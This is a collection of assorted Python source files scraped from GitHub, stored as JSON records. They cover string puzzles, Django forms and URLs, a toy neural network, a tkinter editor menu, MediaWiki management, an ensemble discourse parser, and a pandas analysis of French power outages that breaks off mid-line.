{"seq_id":"71952752462","text":"import re\ndef mix_strings(s1, s2):\n    \n    new_s1 = re.sub('[^a-z]', '', s1)\n    new_s2 = re.sub('[^a-z]', '', s2)\n    \n    count = 0\n    dict_s1 = {}\n    dict_s2 = {}\n    arr = ''\n    substr = ''\n    arr = []\n\n\n    for i in new_s1:\n        if i in dict_s1:\n            dict_s1[i] += 1\n        else:\n            dict_s1[i] = 1\n\n    for i in new_s2:\n        if i in dict_s2:\n            dict_s2[i] += 1\n        else:\n            dict_s2[i] = 1\n\n    dict_s1 = {k: v for k, v in sorted(dict_s1.items(), key=lambda item: (-item[1], item[0]))}\n\n    dict_s2 = {k: v for k, v in sorted(dict_s2.items(), key=lambda item: (-item[1], item[0]))}\n\n    dict_s1 = dict(filter(lambda x: x[1] > 1, dict_s1.items()))\n    dict_s2 = dict(filter(lambda x: x[1] > 1, dict_s2.items()))\n\n        \n\n\n    for i in set(list(dict_s1.keys()) + list(dict_s2.keys())):\n        if i in dict_s1 and i in dict_s2:\n\n            if dict_s1[i] > dict_s2[i]:\n                arr.append('1:' + i*dict_s1[i]) \n                    \n            elif dict_s1[i] == dict_s2[i]:\n                arr.append('=:' + i*dict_s2[i])\n            else:\n                arr.append('2:' + i*dict_s2[i])\n        else:\n            if i in dict_s1:\n                arr.append('1:' + i*dict_s1[i])\n            else:\n                arr.append('2:' + i*dict_s2[i])\n\n    print(dict_s1, dict_s2)\n\n    arr = sorted(arr, key=lambda x: (-len(x), x[0], ord(x[2:3])))\n    \n\n    \n   \n\n    return '/'.join(arr)  \n    \n\n\nif __name__ == '__main__':\n\n    print(mix_strings(\"my&friend&Paul has heavy hats! &\", \"my friend John has many many friends &\"))\n    print(mix_strings('mmmmm m nnnnn y&friend&Paul has heavy hats! &', \"my frie n d Joh n has ma n y ma n y frie n ds n&\"))\n    print(mix_strings(\"Are the kids at home? aaaaa fffff\", \"Yes they are here! aaaaa fffff\"))\n","repo_name":"AsynchronousNotAvailable/practice","sub_path":"python/mix_strings.py","file_name":"mix_strings.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"4225695191","text":"from django import forms\nfrom .models import Group \nfrom socle.models import Subject,  Level \n\n\nclass GroupForm(forms.ModelForm):\n\n    def __init__(self, *args, **kwargs):\n        super(GroupForm, self).__init__(*args, **kwargs)\n        subjects = Subject.objects.filter(is_active=1)\n        self.fields['subject']  = forms.ModelChoiceField(queryset=subjects)\n        levels = Level.objects.order_by(\"ranking\")\n        self.fields['level']  = forms.ModelChoiceField(queryset=levels)\n\n    class Meta:\n        model = Group \n        fields = ('name','labelname','color','level','is_hidden','assign','suiviparent','lock','subject','studentprofile' ) \n\n\n\n\nclass GroupTeacherForm(forms.ModelForm):\n\tclass Meta:\n\t\tmodel = Group \n\t\tfields = ('name','labelname','color','level','assign','is_hidden','suiviparent','lock','subject','studentprofile','recuperation') \n\n\n\tdef __init__(self, *args, **kwargs):\n\t\tteacher = kwargs.pop('teacher')\n\t\tsuper(GroupTeacherForm, self).__init__(*args, **kwargs)\n\t\tif teacher:\n\n\t\t\t# subjects = teacher.subjects.all()\n\t\t\t# levels = teacher.levels.order_by(\"ranking\")\n\n\t\t\t# if subjects :\n\t\t\t# \tself.fields['subject']\t = forms.ModelChoiceField(queryset=subjects,  required=True)\n\t\t\t# else :\n\t\t\tsubjects = Subject.objects.filter(is_active=1)\n\t\t\tself.fields['subject']\t = forms.ModelChoiceField(queryset=subjects,  required=True)\n\n\t\t\t# if levels :\n\t\t\t# \tself.fields['level']\t = forms.ModelChoiceField(queryset=levels,  required=True)\n\t\t\t# else :\n\t\t\tsubjects = Level.objects.exclude(pk=13).order_by(\"ranking\")\n\t\t\tself.fields['level']\t = forms.ModelChoiceField(queryset=subjects,  required=True)\n\n      \n      ","repo_name":"philippedemaria/sacado","sub_path":"group/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"74702066703","text":"from django.contrib import admin\nfrom django.urls import path\nfrom . import views\n\n''' using FBV '''\n\nurlpatterns = [\n    path('', views.index,name='index'),\n    path('post/', views.post,name='post'),\n    path('detail/<int:id>/', views.detail_view,name='detail'),\n    path('create_post/', views.Create_post,name='create_post'),\n    path('<int:pk>/update/', views.Updatepost.as_view(),name='update_post'),\n    path('blogpost-like/<int:pk>', views.like_post, name=\"blogpost_like\"),\n    path('<int:id>/delete/', views.delete_post,name='delete_post'),\n    path('like/', views.like_post, name='like-post'),\n    # user \n    path('register/', views.registerpage,name='register'),\n    path('login/', views.loginpage,name='login'),\n    path('logout/', views.logoutuser,name='logout'),\n    path('profile/', views.profile,name='profile'),\n\n ] \n\n\n\n# from .views import PostListView\n  \n# ''' using CBV '''\n\n# urlpatterns = [\n#     #path('', PostListView.as_view(),name='index'),\n\n# ]\n","repo_name":"hicham147/djnago-blog-app","sub_path":"venv/Blog/app1/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"9165603268","text":"\nfrom ai.ai import ActivationFunction\nfrom ai.neural_network import NeuralNetwork\nclass ScratchReLU01(ActivationFunction):\n\n    BIAS = 1\n\n    def __init__(self, input_count: int, hidden_layers_count: int, hidden_count: int,  output_count: int):\n        super().__init__()\n\n        # dtype = torch.float\n        self.nn = NeuralNetwork(input_count, hidden_layers_count, hidden_count, output_count)\n\n    def relu(self, x: float) -> float:\n        if x < 0:\n            return 0\n        else:\n            return 1\n\n    def forward(self, inputs: list[float]) -> list[float]:\n        \n        for i in range(len(inputs) - ScratchReLU01.BIAS):\n            self.nn.input.neurons[i].output = inputs[i]\n\n        for i in range(len(self.nn.hidden_layers[0].neurons) - ScratchReLU01.BIAS):\n            sum = 0\n            for j in range(len(self.nn.input.neurons) - ScratchReLU01.BIAS):\n                sum += self.nn.input.neurons[j].output * self.nn.hidden_layers[0].neurons[i].weights[j]\n\n            self.nn.hidden_layers[0].neurons[i].output = self.relu(sum)\n\n        for i in range(1, len(self.nn.hidden_layers)):\n            for j in range(len(self.nn.hidden_layers[i].neurons) - ScratchReLU01.BIAS):\n                sum = 0\n                for k in range(len(self.nn.hidden_layers[i - 1].neurons) - ScratchReLU01.BIAS):\n                    sum += self.nn.hidden_layers[i - 1].neurons[k].output * self.nn.hidden_layers[i].neurons[j].weights[k]\n\n                self.nn.hidden_layers[i].neurons[j].output = self.relu(sum)\n\n        last_hidden_layer = self.nn.hidden_layers[-1]\n        for i in range(len(self.nn.output.neurons) - ScratchReLU01.BIAS):\n            sum = 0\n            for j in range(len(last_hidden_layer.neurons) - ScratchReLU01.BIAS):\n                sum += last_hidden_layer.neurons[j].output * self.nn.output.neurons[i].weights[j]\n            \n            self.nn.output.neurons[i].output = self.relu(sum)\n\n        return [n.output for n in self.nn.output.neurons]","repo_name":"rmaugusto/aise_2d","sub_path":"aise/ai/scratch_relu_01.py","file_name":"scratch_relu_01.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"26624023298","text":"from tkinter import *\nfrom tkinter.simpledialog import *\nfrom tkinter.filedialog import *\nfrom tkinter.messagebox import *\n\n\nclass Edit():\n    def popup(self, event):\n        self.rightClick.post(event.x_root, event.y_root)\n\n    def copy(self, *args):\n        sel = self.text.selection_get()\n        self.clipboard = sel\n\n    def cut(self, *args):\n        sel = self.text.selection_get()\n        self.clipboard = sel\n        self.text.delete(SEL_FIRST, SEL_LAST)\n\n    def paste(self, *args):\n        self.text.insert(INSERT, self.clipboard)\n\n    def selectAll(self, *args):\n        self.text.tag_add(SEL, \"1.0\", END)\n        self.text.mark_set(0.0, END)\n        self.text.see(INSERT)\n\n    def undo(self, *args):\n        self.text.edit_undo()\n\n    def redo(self, *args):\n        self.text.edit_redo()\n\n    def find(self, *args):\n        self.text.tag_remove('found', '1.0', END)\n        target = askstring('Find', 'Search String:')\n\n        if target:\n            idx = '1.0'\n            while 1:\n                idx = self.text.search(target, idx, nocase=1, stopindex=END)\n                if not idx: break\n                lastidx = '%s+%dc' % (idx, len(target))\n                self.text.tag_add('found', idx, lastidx)\n                idx = lastidx\n            self.text.tag_config('found', foreground='white', background='blue')\n\n    def __init__(self, text, root):\n        self.clipboard = None\n        self.text = text\n        self.rightClick = Menu(root)\n\n\ndef main(root, text, menubar):\n\n    objEdit = Edit(text, root)\n\n    editmenu = Menu(menubar)\n    editmenu.add_command(label=\"Copy\", command=objEdit.copy, accelerator=\"Ctrl+C\")\n    editmenu.add_command(label=\"Cut\", command=objEdit.cut, accelerator=\"Ctrl+X\")\n    editmenu.add_command(label=\"Paste\", command=objEdit.paste, accelerator=\"Ctrl+V\")\n    editmenu.add_command(label=\"Undo\", command=objEdit.undo, accelerator=\"Ctrl+Z\")\n    editmenu.add_command(label=\"Redo\", command=objEdit.redo, accelerator=\"Ctrl+Y\")\n    editmenu.add_command(label=\"Find\", command=objEdit.find, accelerator=\"Ctrl+F\")\n    editmenu.add_separator()\n    editmenu.add_command(label=\"Select All\", command=objEdit.selectAll, accelerator=\"Ctrl+A\")\n    menubar.add_cascade(label=\"Edit\", menu=editmenu)\n\n    root.bind_all(\"<Control-z>\", objEdit.undo)\n    root.bind_all(\"<Control-y>\", objEdit.redo)\n    root.bind_all(\"<Control-f>\", objEdit.find)\n    root.bind_all(\"Control-a\", objEdit.selectAll)\n\n    objEdit.rightClick.add_command(label=\"Copy\", command=objEdit.copy)\n    objEdit.rightClick.add_command(label=\"Cut\", command=objEdit.cut)\n    objEdit.rightClick.add_command(label=\"Paste\", command=objEdit.paste)\n    objEdit.rightClick.add_separator()\n    objEdit.rightClick.add_command(label=\"Select All\", command=objEdit.selectAll)\n    objEdit.rightClick.bind(\"<Control-q>\", objEdit.selectAll)\n\n    text.bind(\"<Button-3>\", objEdit.popup)\n\n    root.config(menu=menubar)\n\n\nif __name__ == \"__main__\":\n    print(\"Please run 'main.py'\")\n","repo_name":"Proxlight/Text-Editor","sub_path":"edit_menu.py","file_name":"edit_menu.py","file_ext":"py","file_size_in_byte":2956,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"}
{"seq_id":"850428597","text":"\n\nimport os\nimport typing\nimport getpass\nimport datetime\n\nimport jk_typing\nimport jk_console\nimport jk_mediawiki\nimport jk_logging\n\nfrom .impl.LocalWikiInstInfo import LocalWikiInstInfo\nfrom .impl.LocalWikiScanner import LocalWikiScanner\nfrom .MWManagementCtx import MWManagementCtx\n\n\n\n\n\n\n\ndef _formatMBytes(n:int) -> str:\n\ts = str(round(n, 1)) + \"M\"\n\twhile len(s) < 7:\n\t\ts = \" \" + s\n\treturn s\n#\n\nclass _StatusOverviewResult(object):\n\t\n\tdef __init__(self, table:jk_console.SimpleTable, pids:typing.List[int]):\n\t\tself.table = table\n\t\tself.pids = pids\n\t#\n\n#\n\n\n\n\n\n\n\n\n\n#\n# This class manages the set of local MediaWiki installations.\n#\nclass LocalMediaWikisMgr(object):\n\n\t################################################################################################################################\n\t## Constructors\n\t################################################################################################################################\n\n\t#\n\t# Constructor.\n\t#\n\t# @param\t\tstr wwwWikiRootDir\t\t\tThe directory where all local MediaWiki installations reside.\n\t#\n\t@jk_typing.checkFunctionSignature()\n\tdef __init__(self, ctx:MWManagementCtx, wwwWikiRootDir:str, bVerbose:bool):\n\t\tif not os.path.isdir(wwwWikiRootDir):\n\t\t\traise Exception(\"No such directory: \\\"{}\\\"\".format(wwwWikiRootDir))\n\t\tself.__wwwWikiRootDir = os.path.abspath(wwwWikiRootDir)\n\n\t\tself.__userName = getpass.getuser()\n\n\t\tself.__bVerbose = bVerbose\n\n\t\tself.__wikiScanner = LocalWikiScanner(self.__wwwWikiRootDir)\n\n\t\tself.__ctx = ctx\n\t#\n\n\t################################################################################################################################\n\t## Public Properties\n\t################################################################################################################################\n\n\t#\n\t# The directory where all local MediaWiki installations reside.\n\t#\n\t@property\n\tdef wwwWikiRootDir(self) -> str:\n\t\treturn self.__wwwWikiRootDir\n\t#\n\n\t################################################################################################################################\n\t## Helper Methods\n\t################################################################################################################################\n\n\t#\n\t# Collects a list of installed mediawikis\n\t#\n\t@jk_typing.checkFunctionSignature()\n\tdef _getStatusOverview(self, wikiName:typing.Union[str,None], bWithDiskSpace:bool, bVerbose:bool, log:jk_logging.AbstractLogger) -> _StatusOverviewResult:\n\t\twikiInsts = self.__wikiScanner.wikis\n\n\t\tpids = []\n\n\t\tt = jk_console.SimpleTable()\n\t\trowData = [ \"Wiki\", \"MW Version\", \"SMW Version\", \"Status\", \"Last configuration\", \"Last use\", \"Cron Script Processes\" ]\n\t\tif bWithDiskSpace:\n\t\t\trowData.append(\"SizeRO\")\n\t\t\trowData.append(\"SizeRW\")\n\t\tt.addRow(*rowData).hlineAfterRow = True\n\t\tr = jk_console.Console.RESET\n\n\t\tfor wikiInst in wikiInsts:\n\t\t\tif wikiName:\n\t\t\t\tif wikiInst.name != wikiName:\n\t\t\t\t\tcontinue\n\n\t\t\tblog = jk_logging.BufferLogger.create()\n\t\t\ttry:\n\t\t\t\twith blog.descend(\"Checking wiki: \" + wikiInst.name) as log2:\n\t\t\t\t\th = jk_mediawiki.MediaWikiLocalUserInstallationMgr(self.__ctx, wikiInst, log2)\n\t\t\t\t\tbIsRunning = h.isCronScriptRunning()\n\t\t\t\t\tc = jk_console.Console.ForeGround.STD_GREEN if bIsRunning else jk_console.Console.ForeGround.STD_DARKGRAY\n\t\t\t\t\tsmVersion = h.getSMWVersion()\n\t\t\t\t\tlastCfgTime = h.getLastConfigurationTimeStamp()\n\t\t\t\t\tlastUseTime = h.getLastUseTimeStamp()\n\t\t\t\t\tprocessInfos = h.getCronProcesses()\n\t\t\t\t\tif processInfos:\n\t\t\t\t\t\tprocessPIDs = [ x[\"pid\"] for x in processInfos ]\n\t\t\t\t\t\tpids.extend(processPIDs)\n\t\t\t\t\trowData = [\n\t\t\t\t\t\twikiInst.name,\n\t\t\t\t\t\tstr(h.getVersion()),\n\t\t\t\t\t\tstr(smVersion) if smVersion else \"-\",\n\t\t\t\t\t\t\"running\" if bIsRunning else \"stopped\",\n\t\t\t\t\t\tlastCfgTime.strftime(\"%Y-%m-%d %H:%M\") if lastCfgTime else \"-\",\n\t\t\t\t\t\tlastUseTime.strftime(\"%Y-%m-%d %H:%M\") if lastUseTime else \"-\",\n\t\t\t\t\t\tstr(processPIDs) if bIsRunning else \"-\",\n\t\t\t\t\t]\n\t\t\t\t\tif pids:\n\t\t\t\t\t\tpids.extend(pids)\n\t\t\t\t\tif bWithDiskSpace:\n\t\t\t\t\t\tdiskUsage = h.getDiskUsage()\n\t\t\t\t\t\trowData.append(_formatMBytes(diskUsage.ro / 1048576))\n\t\t\t\t\t\trowData.append(_formatMBytes(diskUsage.rw / 1048576))\n\t\t\t\t\tt.addRow(*rowData).color = c\n\t\t\texcept jk_logging.ExceptionInChildContextException as ee:\n\t\t\t\tpass\n\n\t\t\tif blog.stats.hasAtLeastWarning or bVerbose:\n\t\t\t\tblog.forwardTo(log)\n\n\t\treturn _StatusOverviewResult(t, pids)\n\t#\n\n\t################################################################################################################################\n\t## Public Methods\n\t################################################################################################################################\n\n\tdef getWikiInstDirPath(self, wikiName:str):\n\t\treturn self.__wikiScanner.getWikiInstDirPath(wikiName)\n\t#\n\n\t#\n\t# Scan the disk to list all existing Wikis (= running and not running).\n\t#\n\t# @return\t\tstr[] wikiNames\t\t\tThe names of the wikis available.\n\t#\n\tdef listWikis(self) -> list:\n\t\treturn self.__wikiScanner.wikiNames\n\t#\n\n\t#\n\t# Collects a list of mediawikis installed\n\t#\n\t@jk_typing.checkFunctionSignature()\n\tdef getStatusOverviewAll(self, bWithDiskSpace:bool, bVerbose:bool, log:jk_logging.AbstractLogger) -> _StatusOverviewResult:\n\t\treturn self._getStatusOverview(None, bWithDiskSpace, bVerbose, log)\n\t#\n\n\t#\n\t# Collects a list of mediawikis installed\n\t#\n\t@jk_typing.checkFunctionSignature()\n\tdef getStatusOverviewOne(self, wikiName:str, bWithDiskSpace:bool, bVerbose:bool, log:jk_logging.AbstractLogger) -> _StatusOverviewResult:\n\t\treturn self._getStatusOverview(wikiName, bWithDiskSpace, bVerbose, log)\n\t#\n\n\t#\n\t# Get a matrix that lists all wikis with all extensions.\n\t#\n\t@jk_typing.checkFunctionSignature()\n\tdef getExtensionMatrix(self, log:jk_logging.AbstractLogger) -> jk_console.SimpleTable:\n\t\t# str[] wikiNames\n\t\t# MediaWikiLocalUserInstallationMgr[] wikis\n\t\t# MediaWikiExtensionInfo[] wikiExtensionInfos\n\n\t\twikiInsts = self.__wikiScanner.wikis\n\t\twikiNames = [ wikiInst.name for wikiInst in wikiInsts ]\n\t\twikis = [ jk_mediawiki.MediaWikiLocalUserInstallationMgr(wikiInst, self.__userName, log) for wikiInst in wikiInsts ]\n\t\twikiExtensionInfos = []\n\n\t\tallExtensionNames = set()\n\t\tfor i, wikiName in enumerate(wikiNames):\n\t\t\twith log.descend(\"Scanning: {}\".format(wikiName)) as log2:\n\t\t\t\ttry:\n\t\t\t\t\tif self.__bVerbose:\n\t\t\t\t\t\textInfos = []\n\t\t\t\t\t\tfor extInfo in wikis[i].getExtensionInfos(log2):\n\t\t\t\t\t\t\textInfos.append(extInfo)\n\t\t\t\t\telse:\n\t\t\t\t\t\textInfos = list(wikis[i].getExtensionInfos())\n\t\t\t\texcept jk_logging.ExceptionInChildContextException as ee:\n\t\t\t\t\tlog2.error(\"Stopping scanning for {} because of errors.\".format(wikiName))\n\t\t\t\t\textInfos = None\n\t\t\t\texcept Exception as ee:\n\t\t\t\t\tlog2.error(ee)\n\t\t\t\t\tlog2.error(\"Stopping scanning for {} because of errors.\".format(wikiName))\n\t\t\t\t\textInfos = None\n\n\t\t\twikiExtensionInfos.append(extInfos)\n\t\t\tif extInfos:\n\t\t\t\tfor extInfo in extInfos:\n\t\t\t\t\tallExtensionNames.add(extInfo.name)\n\t\tallExtensionNames = sorted(allExtensionNames)\n\n\t\tallExtensionsRowIndex = { name:(i+2) for i, name in enumerate(allExtensionNames) }\n\n\t\t# prepare data matrix\n\n\t\tcolumnNames = [ \"\" ] + allExtensionNames\n\t\trowNames = [ \"\" ] + wikiNames\n\t\trowNames2 = [ \"\" ] + [ str(w.getVersion()) for w in wikis ]\n\t\t_emptyList = [ \"-\" for x in wikiNames ]\n\t\t_emptyList2 = [ 0 for x in wikiNames ]\n\n\t\ttable = jk_console.SimpleTable()\n\t\ttable.addRow(*rowNames)\n\t\ttable.addRow(*rowNames2).hlineAfterRow = True\n\t\ttable.row(0).color = jk_console.Console.ForeGround.STD_LIGHTCYAN\n\t\ttable.row(1).color = jk_console.Console.ForeGround.STD_LIGHTCYAN\n\n\t\trawTimeData = []\n\n\t\tfor extensionName in allExtensionNames:\n\t\t\tdataRow = [ extensionName ] + _emptyList\n\t\t\ttable.addRow(*dataRow)[0].color = jk_console.Console.ForeGround.STD_LIGHTCYAN\n\t\t\trawTimeData.append(list(_emptyList2))\n\n\t\t# fill with raw data\n\n\t\tdtEpoch = datetime.datetime(1970, 1, 1)\n\t\tfor _x, h in enumerate(wikis):\n\t\t\tcolNo = _x + 1\n\t\t\tif wikiExtensionInfos[_x]:\n\t\t\t\tfor extInfo in wikiExtensionInfos[_x]:\n\t\t\t\t\trowNo = allExtensionsRowIndex[extInfo.name]\n\n\t\t\t\t\ts = str(extInfo.version) if extInfo.version else None\n\t\t\t\t\tif extInfo.latestTimeStamp:\n\t\t\t\t\t\tif s is None:\n\t\t\t\t\t\t\ts = extInfo.latestTimeStamp.strftime(\"%Y-%m-%d\")\n\t\t\t\t\t\trawTimeData[rowNo - 2][_x] = (extInfo.latestTimeStamp - dtEpoch).total_seconds()\n\n\t\t\t\t\tif s:\n\t\t\t\t\t\ttable.row(rowNo)[colNo].value = s\n\t\t\t\t\telse:\n\t\t\t\t\t\ttable.row(rowNo)[colNo].value = \"?\"\n\t\t\telse:\n\t\t\t\tfor rowNo in allExtensionsRowIndex.values():\n\t\t\t\t\ttable.row(rowNo)[colNo].value = \"err\"\n\n\t\tfor _y in range(0, len(rawTimeData)):\n\t\t\trow = rawTimeData[_y]\n\t\t\tmaxX = -1\n\t\t\tmaxT2 = 0\n\t\t\tmaxT = 0\n\n\t\t\tfor _x in range(0, len(row)):\n\t\t\t\tif row[_x] > maxT:\n\t\t\t\t\tmaxT2 = maxT\n\t\t\t\t\tmaxT = row[_x]\n\t\t\t\t\tmaxX = _x\n\t\t\t\tcell = table.row(_y + 2)[_x + 1]\n\t\t\t\tif cell.value == \"err\":\n\t\t\t\t\tcell.color = jk_console.Console.ForeGround.STD_RED\n\t\t\t\telse:\n\t\t\t\t\tcell.color = jk_console.Console.ForeGround.STD_DARKGRAY\n\n\t\t\tfor _x in range(0, len(row)):\n\t\t\t\tcell = table.row(_y + 2)[_x + 1]\n\t\t\t\tif (maxT > 0) and (row[_x] == maxT):\n\t\t\t\t\tcell.color = jk_console.Console.ForeGround.STD_YELLOW\n\t\t\t\telif (maxT2 > 0) and (row[_x] == maxT2):\n\t\t\t\t\tcell.color = jk_console.Console.ForeGround.STD_LIGHTGRAY\n\n\t\t# return table\n\n\t\treturn table\n\t#\n\n#\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"jkpubsrc/python-module-jk-mediawiki","sub_path":"src/jk_mediawiki/LocalMediaWikisMgr.py","file_name":"LocalMediaWikisMgr.py","file_ext":"py","file_size_in_byte":9155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"33599273997","text":"import functools\nimport torch\nimport torch.nn as nn\nfrom torch.nn.functional import softmax\nimport dataset.rst_tree as rsttree\nfrom nltk import Tree\nfrom networks.parser import SpanBasedParser\n\n\nclass EnsembleParser(nn.Module):\n    def __init__(self, parsers, device):\n        super(EnsembleParser, self).__init__()\n        self.parsers = parsers\n        self.device = device\n\n    @classmethod\n    def load_model(cls, model_paths, config, fields):\n        models = []\n        for model_path in model_paths:\n            models.append(SpanBasedParser.load_model(model_path, config, fields))\n\n        device = torch.device('cpu') if config.cpu else torch.device('cuda:0')\n        return cls(models, device)\n\n    def parse(self, doc):\n        batch = doc.to_batch(self.device)\n        output = self.__call__(batch)\n        tree = output['tree'][0]\n        tree = Tree.fromstring(tree)\n        return tree\n\n    def forward(self, batch):\n        # run embedder\n        ensemble_rnn_outputs = []\n        for parser in self.parsers:\n            ensemble_rnn_outputs.append(parser.embed(batch))\n\n        # run top-down parser\n        pred_trees = []\n        for i in range(len(batch)):\n            tree, _ = self.ensemble_greedy_tree(\n                [rnn_outputs[i] for rnn_outputs in ensemble_rnn_outputs],\n                batch.starts_sentence[i],\n                batch.starts_paragraph[i],\n                batch.parent_label[i])\n            pred_trees.append(tree.convert().linearize())\n\n        return {'tree': pred_trees}\n\n    def ensemble_greedy_tree(self, ensemble_rnn_output, starts_sentence, starts_paragraph, parent_label):\n        sentence_length = len(ensemble_rnn_output[0])  # no padded\n        for i, parser in enumerate(self.parsers):\n            parser.starts_sentence = starts_sentence\n            parser.starts_paragraph = starts_paragraph\n            parser.rnn_output = parser.edge_pad(ensemble_rnn_output[i])\n\n        @functools.lru_cache(maxsize=None)\n        def helper(left, right, parent_label=None):\n            assert 0 <= left < right <= sentence_length\n            if right - left == 1:  # 終了条件\n                tag, word = 'text', str(left)\n                tree = rsttree.LeafParseNode(left, tag, word)\n                return tree, torch.zeros(1, device=self.device).squeeze()\n\n            ensemble_split_scores = []\n            for parser in self.parsers:\n                ensemble_split_scores.append(parser.get_split_scores(left, right))\n\n            split_scores = self._ensemble(ensemble_split_scores)\n            split, split_loss = parser.predict_split(split_scores, left, right)\n\n            ensemble_ns_label_scores = []\n            ensemble_rela_label_scores = []\n            for parser in self.parsers:\n                feature = parser.get_feature_embedding(left, right, split, parent_label)\n                ensemble_ns_label_scores.append(parser.f_ns(feature))\n                ensemble_rela_label_scores.append(parser.f_rela(feature))\n\n            ns_label_scores = self._ensemble(ensemble_ns_label_scores)\n            rela_label_scores = self._ensemble(ensemble_rela_label_scores)\n            ns, ns_loss = parser.predict_label(ns_label_scores, left, right,\n                                               sentence_length, parser.ns_vocab, 0)\n            rela, rela_loss = parser.predict_label(rela_label_scores, left, right,\n                                                   sentence_length, parser.rela_vocab, 1)\n\n            left_trees, left_loss = helper(left, split, (ns, rela))\n            right_trees, right_loss = helper(split, right, (ns, rela))\n            children = rsttree.InternalParseNode((':'.join((ns, rela)),), [left_trees, right_trees])\n            return children, ns_loss + rela_loss + split_loss + left_loss + right_loss\n\n        pred_tree, loss = helper(0, sentence_length, parent_label)\n        return pred_tree, loss\n\n    @staticmethod\n    def _ensemble(ensemble_scores):\n        # ensemble_scores: list of scores tensor\n        ensemble_scores = [softmax(scores, dim=0) for scores in ensemble_scores]\n        scores = torch.sum(torch.stack(ensemble_scores), dim=0)\n        # scores = scores.data.cpu().numpy()  # numpyとして返す\n        return scores\n","repo_name":"nttcslab-nlp/Top-Down-RST-Parser","sub_path":"src/networks/ensemble.py","file_name":"ensemble.py","file_ext":"py","file_size_in_byte":4224,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"47"}
{"seq_id":"70821589902","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Oct 13 10:29:07 2016\r\n\r\n@author: d_floriello\r\n\r\nOutages analysis\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport datetime\r\nimport numpy as np\r\nfrom collections import OrderedDict\r\nimport matplotlib.pyplot as plt\r\n\r\nout = pd.read_excel('C:/Users/d_floriello/Documents/ourages_fran_2016-10-12.xlsx')\r\n\r\ntoday = datetime.datetime(2016, 10, 24)\r\n\r\nout = out.ix[out['Fin Indispo'] >= today]\r\n\r\n###############################################################################\r\ndef update_outages(out, today):\r\n    out = out.ix[out['Fin Indispo'] >= today]\r\n    ids = np.unique(out['ID Indisponibilité de production'])\r\n    ixl = []\r\n    for ii in ids:\r\n        given = out.ix[out['ID Indisponibilité de production'] == ii]\r\n        ixl.append(max(given.index.tolist()))\r\n    out = out[['ID Indisponibilité de production', \"Type d'indisponibilité\", 'Filière',\r\n       \"Type de l'unité de production\",  'Nom du producteur',\r\n       'Puissance nominale', 'Puissance disponible restante', 'Cause',\r\n       'Statut']]\r\n    return out.ix[ixl]\r\n###############################################################################\r\ndef get_statistics(out, by, varname):\r\n    diz1 = OrderedDict() \r\n    diz2 = OrderedDict()    \r\n#    categorical = [\"Type d'indisponibilité\", 'Filière',\r\n#       \"Type de l'unité de production\",  'Nom du producteur','Cause',\r\n#       'Statut']\r\n    grouped = out.groupby(by = by)\r\n    names = list(set(out[by].tolist()))\r\n#    if varname in categorical:\r\n    for i in names:\r\n        il1 = [] \r\n        il2 = []           \r\n        for vn in list(set(out[varname].tolist())):\r\n            il1.append(np.where(grouped.get_group(i)[varname] == vn)[0].size)\r\n        il2 = [i/sum(il1) if sum(il1) > 0 else 0 for i in il1]\r\n        diz1[i] = il1\r\n        diz2[i] = il2\r\n    df1 = pd.DataFrame.from_dict(diz1, orient = 'index')\r\n    df2 = pd.DataFrame.from_dict(diz2, orient = 'index')\r\n    df1.columns = [list(set(out[varname].tolist()))]\r\n    df2.columns = [list(set(out[varname].tolist()))]\r\n    \r\n    return df1, df2\r\n###############################################################################\r\ndef get_statistics_all(out):\r\n    varnames = [\"Type d'indisponibilité\", 'Filière',\r\n       \"Type de l'unité de production\",  'Nom du producteur',\r\n       'Puissance nominale', 'Puissance disponible restante', 'Cause']\r\n#    categorical = [\"Type d'indisponibilité\", 'Filière',\r\n#       \"Type de l'unité de production\",  'Nom du producteur','Cause',\r\n#       'Statut'] \r\n    for vn in varnames:\r\n        remains = set(varnames).difference(vn)\r\n        for rmn in remains:\r\n            S, P = get_statistics(out, vn, rmn)\r\n            print('Statistics of {} vs {}:'.format(vn, rmn))\r\n            print(S)\r\n            print(P)\r\n            print('##################################')\r\n###############################################################################\r\ndef get_simple_count(out, month, var):\r\n    today = datetime.datetime(2016, month, 1)\r\n    out2 = update_outages(out, today)\r\n    print('num outages totali nel mese {}= {}'.format(month, out2.shape[0]))\r\n    vn = set(list(out2[var]))\r\n    cts = []\r\n    for v in vn:\r\n        print('percentage of {} outages = {}'.format(v, out2[var].ix[out2[var] == v].count()/out2.shape[0]))\r\n        cts.append(out2[var].ix[out2[var] == v].count()/out2.shape[0])\r\n    return cts\r\n###############################################################################\r\ndef get_remaining_power(out, month):\r\n    today = datetime.datetime(2016, month, 1)\r\n    out2 = update_outages(out, today)\r\n    out2 = out2.reset_index(drop = True)\r\n    print('num outages totali nel mese {}= {}'.format(month, out2.shape[0]))\r\n    remaining = perc = 0\r\n    for r in range(out2.shape[0]):\r\n        remaining += out2['Puissance nominale'].ix[r] - out2['Puissance disponible restante'].ix[r]\r\n    perc = remaining/out2['Puissance nominale'].sum()\r\n    return remaining, perc\r\n###############################################################################\r\nout2 = update_outages(out, today)    \r\n \r\nvarnames = ['ID Indisponibilité de production', \"Type d'indisponibilité\", 'Filière',\r\n       \"Type de l'unité de production\",  'Nom du producteur',\r\n       'Puissance nominale', 'Puissance disponible restante', 'Cause',\r\n       'Statut'] \r\n \r\nS, P = get_statistics(out2, varnames[2], varnames[6])   \r\nP.sum(axis = 1)\r\n\r\n###############################################################################\r\n##################################### 2015 ####################################\r\n###############################################################################\r\n\r\nout = 